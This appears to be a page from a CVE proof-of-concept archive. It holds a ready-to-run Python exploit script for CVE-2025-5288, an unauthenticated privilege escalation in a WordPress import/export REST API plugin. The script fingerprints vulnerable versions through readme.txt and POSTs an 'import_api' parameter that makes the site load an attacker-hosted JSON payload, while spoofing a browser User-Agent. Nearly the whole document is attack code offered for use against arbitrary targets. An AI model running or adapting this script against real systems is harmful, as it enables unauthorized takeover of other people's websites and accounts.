4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2025-5288.py PY
import requests
import argparse
import time
import re
import json
import logging
from urllib.parse import urlparse

# By Khaled_alenazi (Nxploited) 


def setup_logger(level=logging.INFO):
    logger = logging.getLogger("Nxploit")
    if not logger.handlers:
        handler = logging.StreamHandler()
        formatter = logging.Formatter("[%(levelname)s] %(message)s")
        handler.setFormatter(formatter)
        logger.addHandler(handler)
    logger.setLevel(level)
    return logger

logger = setup_logger()

def validate_url(url):
    parsed = urlparse(url)
    if not parsed.scheme.startswith("http"):
        raise ValueError("Invalid URL scheme. Must start with http or https.")
    if not parsed.netloc:
        raise ValueError("Invalid URL: missing domain.")
    return url.rstrip("/")

def version_in_range(version, start, end):
    def normalize(v):
        return list(map(int, v.split(".")))
    return normalize(start) <= normalize(version) <= normalize(end)

def get_plugin_readme_url(base_url):
    return f"{base_url}/wp-content/plugins/import-export-with-custom-rest-api/readme.txt"

def check_plugin_version(session, base_url, sleep_enabled=True):
    readme_url = get_plugin_readme_url(base_url)
    try:
        response = session.get(readme_url, timeout=10)
        if response.status_code == 404:
            logger.warning(f"Plugin version file not found: {readme_url}")
            return False
        match = re.search(r"Stable tag:\s*([\d.]+)", response.text, re.IGNORECASE)
        if not match:
            logger.warning("Plugin version file found, but version tag missing.")
            if sleep_enabled:
                time.sleep(2)
            return True
        version = match.group(1).strip()
        if version_in_range(version, "1.0.0", "2.0.3"):
            logger.info(f"Target appears vulnerable (version: {version}) - exploiting...")
            if sleep_enabled:
                time.sleep(3)
            return True
        else:
            logger.warning(f"Plugin version {version} is outside vulnerable range.")
            return False
    except requests.exceptions.RequestException as e:
        logger.error(f"Requests error during version check: {e}")
        return False
    except Exception as e:
        logger.error(f"Unexpected exception during version check: {e}")
        return False

def fetch_json_payload(session, json_url):
    try:
        response = session.get(json_url, timeout=10)
        response.raise_for_status()
        payload = response.json()
        return payload
    except requests.exceptions.RequestException as e:
        logger.error(f"Requests error retrieving JSON payload: {e}")
        return None
    except json.JSONDecodeError:
        logger.error("Could not decode JSON payload. Check the JSON file format.")
        return None

def Nxploit_exploit(session, base_url, json_url, sleep_enabled=True):
    logger.info(f"Fetching JSON payload from: {json_url}")
    payload = fetch_json_payload(session, json_url)
    if payload is None:
        logger.error("Failed to retrieve or parse JSON payload.")
        return
    logger.info("JSON content loaded successfully:")
    for idx, item in enumerate(payload, 1):
        logger.info(f"    [{idx}] {json.dumps(item, indent=4)}")
    if sleep_enabled:
        time.sleep(3)
    logger.info("Launching exploitation...")
    if sleep_enabled:
        time.sleep(3)
    exploit_url = f"{base_url}/"
    try:
        r = session.post(exploit_url, data={"import_api": json_url}, timeout=10)
        if "error" not in r.text.lower():
            logger.info("Exploit delivered successfully.")
            logger.info("Payload Sent:\n%s", json.dumps(payload, indent=4))
            logger.info("Exploit By : Khaled_alenazi (Nxploited)")
        else:
            logger.warning("Exploit may have failed or returned error page.")
    except requests.exceptions.RequestException as e:
        logger.error(f"Requests error during exploitation: {e}")

def main():
    parser = argparse.ArgumentParser(description="Unauthenticated Privilege Escalation - by Khaled Alenazi (Nxploited)")
    parser.add_argument("-u", "--url", required=True, help="Base URL of WordPress site (e.g., http://target/wp/)")
    parser.add_argument("-json", "--url_json", required=True, help="URL to hosted R.json payload")
    parser.add_argument("--proxy", help="Proxy URL (e.g., http://127.0.0.1:8080)")
    parser.add_argument("--timeout", type=int, default=10, help="HTTP timeout in seconds (default: 10)")
    parser.add_argument("--no-verify", action="store_true", help="Disable SSL certificate verification (NOT recommended!)")
    parser.add_argument("--no-sleep", action="store_true", help="Disable sleep delays for faster execution")
    parser.add_argument("--debug", action="store_true", help="Enable debug output")
    args = parser.parse_args()

    if args.debug:
        logger.setLevel(logging.DEBUG)

    try:
        base_url = validate_url(args.url)
    except ValueError as ve:
        logger.error(str(ve))
        return

    session = requests.Session()
    session.verify = not args.no_verify
    if args.no_verify:
        logger.warning("SSL certificate verification is DISABLED. This is insecure!")
    session.headers.update({
        "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36"
    })
    if args.proxy:
        session.proxies = {"http": args.proxy, "https": args.proxy}
        logger.info(f"Proxy set to: {args.proxy}")

    if check_plugin_version(session, base_url, sleep_enabled=not args.no_sleep):
        Nxploit_exploit(session, base_url, args.url_json, sleep_enabled=not args.no_sleep)

if __name__ == "__main__":
    main()